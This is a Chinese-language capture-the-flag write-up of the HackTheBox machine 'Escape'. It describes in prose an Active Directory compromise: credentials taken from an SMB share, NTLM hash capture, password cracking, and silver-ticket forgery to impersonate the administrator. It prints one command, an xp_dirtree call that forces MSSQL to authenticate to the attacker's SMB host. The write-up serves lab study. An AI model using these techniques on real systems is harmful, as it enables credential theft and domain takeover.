HackTheBox - Medium - Windows - Escape

发布时间:2023年12月28日

Escape

Escape 是一台中等难度的 Windows Active Directory 计算机,它以 SMB 共享开始,经过来宾身份验证的用户可以下载敏感的 PDF 文件。在PDF文件中,临时凭据可用于访问计算机上运行的MSSQL服务。攻击者能够强制 MSSQL 服务向他的计算机进行身份验证并捕获哈希值。事实证明,该服务在用户帐户下运行,并且哈希值是可破解的。拥有一组有效的凭据,攻击者能够使用 WinRM 在计算机上执行命令。枚举计算机时,日志文件会显示用户“ryan.cooper”的凭据。进一步枚举计算机,显示存在证书颁发机构,并且一个证书模板容易受到 ESC1 攻击,这意味着可清晰地使用此模板的用户可以为域中的任何其他用户(包括域管理员)请求证书。因此,通过利用 ESC1 漏洞,攻击者能够获取管理员帐户的有效证书,然后使用它来获取管理员用户的哈希值。


外部信息收集

端口扫描

循例nmap

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-28 15:19:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

SMB枚举

smbmap 看一下有个share可读

file

有一个pdf

file

下下来

file

里面给了一组凭据,它应该是用于mssql的

file

这组凭据我们能够使用mssqlclient

file

无权执行xp_cmdshell

file

Foothold

通过对攻击机托管的恶意smb服务发起身份认证来获取hash

exec master.dbo.xp_dirtree "\\10.10.14.18\hack"

查看responder

file

hashcat直接爆

file

尝试登evil-winrm

file

横向移动 -> Ryan.Cooper

在这里发现一个log

file

在里面可以看到一个明文密码

file

登winrm成功

file

权限提升

经典SeMachineAccountPrivilege

file

我使用certipy发现了存在ESC1,ESC1打很多遍了,但是我看wp有更好玩的提权路线

现在我们直接伪造tgs(银票),因为前面我们已经拿到了sql_svc的明文密码了,那个是mssql服务账户

现在我们就可以为administrator伪造银票,常规操作

注意,我们不要忽略了PAC的存在,我们当前是无法伪造PAC的,因为我们没有krbtgt hash,所以这里能打成功是因为mssql服务不去找KDC验证PAC吧

file

我们还需要设置ntpdate,否则我们将因为来自不受信任的域而登录失败

file

设置KRB5CCNAME,然后登mssqlclient

file

mssql模拟administrator,通过administrator的权限,我们可以读到root flag

file

文章来源:https://blog.csdn.net/qq_54704239/article/details/135276618
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。